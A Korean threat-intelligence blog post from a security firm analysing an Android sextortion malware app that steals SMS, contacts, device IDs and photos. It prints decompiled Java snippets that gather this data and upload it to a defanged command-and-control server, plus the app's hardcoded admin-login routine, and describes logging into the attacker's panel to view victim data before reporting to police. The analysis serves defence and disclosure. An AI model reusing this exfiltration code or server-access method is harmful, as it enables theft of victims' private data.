위협 인텔리전스

[악성코드 그것이 알고 싶다] #몸캠피싱

엔키화이트햇

Jun 3, 2024

1. 개요

COVID-19로 인한 언택트(Untact) 시대의 도래는 많은 변화를 불러왔습니다. 삶의 많은 모습들이 달라졌고, 음식점 QR 체크인을 시작으로 스마트폰만 있으면 비대면으로 할 수 있는 일들의 범위도 넓어졌습니다. 때문에 자연스럽게 스마트폰 사용량이 증가했고, 이를 노리는 사이버 범죄(스미싱, 보이스피싱, 몸캠피싱 등)도 함께 증가하고 있습니다.

스마트폰을 대상으로 하는 다양한 사이버 범죄 중 최근 국내 사용자를 대상으로 한 몸캠피싱이 증가하고 있습니다. 몸캠 피싱이 증가한 원인으로는 ▲COVID-19로 인한 집콕족(집에 콕 박혀있는 사람들) 증가, ▲SNS의 발달, ▲대면 활동 제한으로 인한 데이팅, 채팅 앱의 사용 빈도 증가 등이 있습니다. 공격자들의 악성 앱 유포는 현재도 활발하게 이루어지고 있으며, 이로 인한 피해자는 증가할 것으로 전망됩니다.

이에 그것이 알고 싶다 5월호에서는 최근 유포되고 있는 몸캠피싱 악성 앱의 행위 분석을 통해 발생 가능한 위협과 나아가 이를 통해 앞으로 추가적으로 발생할 수 있는 위협에 대해 알아보고자 합니다.

2. 몸캠피싱이란?

공격자들은 몸캠(영상 통화/사진을 이용하여 음란한 행위를 하는 것)을 하는 척하여 피해자로부터 음란 영상을 받아낸 후 악성 앱을 유포하여 정보를 탈취합니다. 이후 피해자의 영상을 빌미로 금전을 요구하는 사이버 범죄를 몸캠피싱이라합니다.

다른 사람의 사진을 이용하여 피해자에게 접근 후 영상통화나 문자, SNS 등을 이용하여 친분을 쌓아 피해자가 의심하기 어렵게 만든 후 음란한 행위를 하는 영상을 획득(교환) 하고 악성 앱을 유포합니다. 주로 몸캠에 사용되는 앱, 음란 영상 등으로 위장하여 악성 앱을 전달하며 자연스럽게 다운로드를 권유합니다. 악성 앱을 다운로드한 피해자의 스마트폰에서 연락처를 비롯한 다양한 정보를 탈취 후, 공격자는 전달받은 음란 영상 유포를 빌미로 협박하여 거액의 돈을 요구합니다. 범죄 수법의 특성상 피해자가 높은 확률로 금전을 지불할 수밖에 없는 형태입니다.

실제사례

  1. 미모의 여성을 사칭한 익명의 공격자는 SNS, 랜덤채팅 등을 통해 대상을 탐색합니다.

  2. 대상을 발견한 공격자는 지속적으로 음란한 채팅을 하다가 음란한 행위를 하는 동영상을 교환하길 제안합니다.

  3. 지속적인 연락으로 신뢰가 쌓인 피해자는 의심 없이 동영상을 넘겨줍니다.

  4. 공격자는 비밀 채팅방을 이용하기 위한 어플이라 속이며 임의의 APK 파일 채팅방에 보내고 다운로드를 유도합니다.

  5. 이때 다운로드 되는 임의의 앱은 악성 앱 입니다. 해당 악성 앱이 설치되면 공격자는 피해자의 스마트폰에 저장된 연락처, 개인 정보 등을 탈취합니다.

  6. 이후 공격자는 동영상 유포 협박 및 동영상 삭제를 들먹이며 거액의 금전 요구를 했습니다. 피해자는 이에 수차례 응할 수밖에 없었습니다.

3. 악성앱 분석

위와같은 사례에서 실제로 사용되는 몸캠피싱 악성 앱을 수집하여 분석을 진행하였습니다. 본 글에서는 몸캠 피싱에서 사용되는 다양한 종류의 악성 앱 중에서 SMSStealer 로 불리는 악성앱이 사용되었습니다.

3.1. 분석 파일 정보

  • 내 영상.avr.rar(MD5 : E37304CB18BE94741D1A351D54DAC2D7)

  • 혼자만봐.apk(MD5 : 3BD9CAAC7AE8EB77CB1910EAD489724A)

분석된 악성 앱은 내영상av.rar이라는 rar 압축파일 형태로 유포된 것으로 보입니다. 해당 파일의 압축을 해제하면 혼자만봐.apk 파일을 확인할 수 있습니다. 이 샘플 정보는 실제 상황에서 쓰였던 악성 앱입니다.

3.2. 악성행위 분석

실행 화면

[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부

[그림 2] 악성 앱 실행 시 전환되는 화면 中 일부

악성 앱 실행 시 다음과 같은 화면과 정상적인 사용을 위해 모든 권한 허용을 요청하는 알림 창이 뜹니다. 여기서 모든 권한을 허용하게 되면, 피해자의 휴대폰에서 데이터를 훔치는 행위가 가능해집니다. 공격자는 데이터를 탈취하기 위해 합법적인 절차처럼 속여 권한 허용을 유도하며, 분석된 악성 앱에서는 정상적인 사용을 빌미로 권한을 허용하게끔 유도한 것으로 추정됩니다.

악성앱의 요구권한

해당악성앱에서 요구하는 권한은 다음과 같습니다.

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" /> 
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" /> 
<uses-permission android:name="android.permission.INTERNET" /> 
<uses-permission android:name="android.permission.READ_PHONE_STATE" /> 
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> 
<uses-permission android:name="android.permission.WAKE_LOCK" /> 
<uses-permission android:name="android.permission.READ_CONTACTS" /> 
<uses-permission android:name="android.permission.READ_SMS" />


악성앱의 요구권한 — 상세설명

[표 1] 악성 앱에서 사용되는 권한

몸캠 피싱 악성앱 대표적 악성행위 4가지
  • 문자(SMS) 탈취

  • 연락처 탈취

  • 휴대폰 기기 정보 탈취

  • 사진 및 동영상 탈취

문자(SMS) 탈취

피해자의 스마트폰에 저장되어 있는 문자(SMS)를 탈취하는 행위에 대한 코드는 다음과 같습니다. 탈취 후 공격자의 서버로 전송합니다.

ArrayList v0 = new ArrayList();
        try {
            Cursor v1 = this.b.getContentResolver().query(Uri.parse("content://sms/"), new String[]{"_id", "address", "person", "body", "date", "type"}, null, null, "date desc");
            int v2 = 0;
            if(v1.moveToFirst()) {
                int v3 = v1.getColumnIndex("person");
                int v4 = v1.getColumnIndex("address");
                int v5 = v1.getColumnIndex("body");
                int v6 = v1.getColumnIndex("date");
                int v7 = v1.getColumnIndex("type");
                do {
                label_30:
                    v1.getString(v3);
                    String v8 = v1.getString(v4);
                    String v9 = v1.getString(v5);
                    SimpleDateFormat v10 = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");
                    Date v11 = new Date(Long.parseLong(v1.getString(v6)));
                    v10.format(v11);
                    String v10_1 = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(v11);

....
protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadSms.htm";
    }


연락처 탈취

피해자의 스마트폰에 저장되어 있는 연락처 데이터를 공격자의 서버로 전송하는 행위의 코드는 다음과 같습니다. 이러한 기능을 이용하여 공격자는 피해자의 연락처에 있는 모든 사람들에게 음란 영상을 유포하겠다고 협박할 수 있습니다.

public boolean a() {
        try {
            ArrayList v1_1 = b.a(this.b);
            if(v1_1 != null && !v1_1.isEmpty()) {
                HashMap v2 = new HashMap();
                v2.put("phone", this.a);
                String v1_2 = new Gson().toJson(v1_1);
                Log.d("##########", v1_2);
                v2.put("contacts", v1_2);
                Object v1_3 = this.c.a(this.b(), ((Map)v2), Result.class);
                if(v1_3 != null) {
                    ((Result)v1_3).isSuccess();
                }
            }
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }

return 1;
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadContact.htm";
    }


스마트폰 기기 정보 탈취

스마트폰 고유번호(IMEI)를 비롯한 디바이스 기기 종류 관련 데이터도 수집하는 부분을 확인할 수 있습니다.

protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/sychonizeUser.htm";
    }

public boolean c() {
        Object v0_2;
        HashMap v0 = new HashMap();
        String v1 = e.b(this.a);
        try {
            v0.put("phone", this.d);
            v0.put("imei", v1 + "#" + e.a());
            v0.put("model", e.a());
            v0_2 = this.c.a(this.b(), ((Map)v0), Result.class);
        }


사진 및 동영상 탈취

스마트폰 내부의 사진첩에 접근하여 동영상 및 사진 데이터를 수집할 수 있습니다.

...(중략)
HashMap v9 = new HashMap();
                            v9.put("upload", v5);
                            HashMap v8 = new HashMap();
                            v8.put("phone", this.a);
                            v8.put("time", String.valueOf(((Album)v3).getAddTime()));
                            Object v4 = this.c.a(this.b(), ((Map)v8), ((Map)v9), Result.class, null);
                            if(v4 == null) {
                                continue;
                            }

if(!((Result)v4).isSuccess()) {
                                continue;
                            }
                            com.open.studyvideo.a.c.a(this.b, ((Album)v3).getId());
                        }
                    }
                }
            }
            c.d = System.currentTimeMillis();
            return 1;
        }
        catch(Exception v1) {
            v1.printStackTrace();
            return 1;
        }
    }
    protected String b() {
        return "hxxp://158[.]247[.]220[.]251:8080/m/uploadAlbum.htm";
    }

3.3 특이사항

특이사항 1 : 백신탐지 우회

  • 수집된 샘플 중 일부 샘플은 dexprotector와 같은 코드 보호 프로그램(프로텍터)로 보호되어 있었습니다. 이는 백신 프로그램에서 탐지되는 것을 우회하거나, 분석 비용을 높이기 위함으로 추정됩니다.

특이사항 2 : 데이터 수집서버 URL확인

  • 수집된 샘플들을 확인하던 중 정보 수집 서버 URL/IP만 다른 다수의 케이스도 확인할 수 있었습니다. 이 샘플들은 모두 동일한 공통 경로를 가지고 있었습니다.

[표 2] 공통된 경로를 가지는 악성 앱 정보 수집 URL/IP

public static String a(Context arg5) {
        Object v1_1;
        String v0_1;
        String v1;
        String v5 = "hxxp://158[.]247[.]220[.]251:8080/m/login.htm";
        StringBuffer v0 = new StringBuffer();
        try {
            URLConnection v5_2 = new URL(v5).openConnection();
            ((HttpURLConnection)v5_2).setRequestMethod("POST");
            ((HttpURLConnection)v5_2).setConnectTimeout(3000);
            ((HttpURLConnection)v5_2).setDoOutput(true);
            ((HttpURLConnection)v5_2).getOutputStream().write("username=***&password=****".getBytes());
            ((HttpURLConnection)v5_2).setInstanceFollowRedirects(false);
            ((HttpURLConnection)v5_2).connect();
            BufferedReader v2 = new BufferedReader(new InputStreamReader(((HttpURLConnection)v5_2).getInputStream(), "UTF-8"));
(…중략…)

4. 악용 시나리오

몸캠 피싱에서 사용된 악성 앱과 유사한 샘플들에서 발견된 IP에서, 하드코딩 되어있는 부분을 분석한 결과, 피해자의 데이터가 넘어가는 공격자 서버의 URL 정보, 관리자 계정 정보를 수집했습니다. 계정 정보를 악성 앱 내에서 쉽게 얻을 수 있어 제3자의 접근이 가능했습니다. 따라서 다음과 같은 악용 시나리오도 가능할 것으로 보입니다.


[그림 3] 악용 시나리오


4.1 공격자 서버 접속

[그림 4] 확보한 계정 정보로 공격자 서버에 관리자 로그인


[그림 5] 로그인 후 공격자 서버에 있는 피해자 정보 리스트

[그림 6]공격자 서버에 저장된 피해자의 메시지 내역

[그림 7]공격자 서버에 저장된 피해자의 연락처 목록


공격자가 수집한 피해자 개인 정보를 확인한 결과 ▲ 피해자 연락처, ▲스마트폰 기종, ▲피해 당한 날짜, ▲문자 메시지 내용, ▲피해자 스마트폰에 저장된 이름 및 연락처 등이 발견되었습니다. 누구나 악의적인 목적을 갖고 행동한다면 많은 피해자를 발생시킬 수 있는 위험한 정보들이고, 가해자는 로그인 정보를 채증할 수 있는 누구에게나 열려 있다는 점이 매우 위험하게 다가옵니다.

5. 피해현황

본 보고서에서 분석된 샘플 뿐만 아니라 유사한 형태를 가진 악성 앱에서 수집된 정보를 이용하여 데이터를 분석한 결과, 2021년 2월부터 5월 초(약 3개월)까지 확인된 피해자는 총 465명이며, 매달 피해자가 증가하고 있었습니다. 또한 피해자의 연락처를 통해 수집된 제3자 개인 정보의 건수는 9,7000 여 건 이었습니다. 공격자의 서버에는 피해자가 주고받는 문자 내역까지 확인이 가능하기 때문에 몸캠 피싱뿐만 아니라 연락처 정보와 문자정보를 이용한 피싱, 인물 사칭 범죄 등 다양한 추가 범죄행위의 위협이 존재했습니다. 최근 3개월간의 증가율에 따르면 피해자 수는 앞으로도 계속해서 늘어날 것으로 보입니다.


[그림 8] 피해현황 추이

본 글에서 분석한 악성앱과 유사한 방식으로 피해자의 정보를 수집하는 악성앱으로 인한 추가 피해를 예방하고자 본문에 첨부된 C&C 정보 및 악성코드 분석 내용을 경기성남중원경찰서에 모두 제보하였습니다.

[그림 9] 제보 현황

6. IOC

수집된 샘플들과 유사한 구조를 가지는 샘플의 해쉬(MD5)와 IP/URL에 대해 정리해 보았습니다.

MD5

[표 3] 유사한 구조를 가진 악성앱 샘플 MD5

IP/URL

[표 4] 유사한 구조를 가진 악성앱에서 수집된 URL/IP

7. 마치며

몸캠 피싱 악성앱 분석을 통해 해당 악성앱을 통해 탈취되는 다양한 정보와 추가적으로 발생할 수 있는 위협에 대한 시나리오, 실제 피해 현황에 대해 알아보았습니다. 악성앱 실행 시 피해자의 문자, 연락처, 휴대폰기기 정보, 사진 및 동영상 등 중요 개인정보가 공격자의 서버에 고스란히 저장지만, 공격자의 서버 계정 정보는 악성 앱 내부에 무방비하게 노출되어있어 추가 피해의 우려가 존재했습니다.

본 글 작성을 위해 자료를 조사하며 접한 몸캠피싱 피해자들의 사례와 실제 피해 현황을 보며 이보다 더 무섭고 끔찍하고 잔인한 범죄가 있을까 라는 생각이 들었습니다. 몸캠피싱은 일상을 조금만 벗어나면 언제 누구든 대상이 될 수 있는 범죄이며, 피해발생 시 금전을 지불하지 말고 신속하게 신고하여야 합니다. 코로나로 인해 대면으로 누군가를 만나기보다 비대면으로 만남을 가지는것이 익숙한 요즘 더 많은 이들이 피해자가 될 수 있기 때문에 스마트폰 사용자들의 관심과 주의가 요구됩니다.

한순간의 호기심으로 망가지지 마세요. 당신은 소중한 사람입니다.


참고자료

[1] https://www.cyber.go.kr/prevention/prevention10.jsp?mid=020310
[2] https://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?seq=29359

엔키화이트햇

엔키화이트햇

ENKI Whitehat
ENKI Whitehat

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

오펜시브 시큐리티 전문 기업, 공격자 관점으로 깊이가 다른 보안을 제시합니다.

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

Let's Build Together

Digital world's safest sanctuary, ENKI

Contact

공격자 관점의 깊이가 다른 보안을 제시합니다.

Contact

biz@enki.co.kr

02-402-1337

서울특별시 송파구 송파대로 167
(테라타워 B동 1214~1217호)

ENKI Whitehat Co., Ltd.

Copyright © 2024. All rights reserved.

공격자 관점의 깊이가 다른 보안을 제시합니다.

ENKI Whitehat Co., Ltd.

Copyright © 2024. All rights reserved.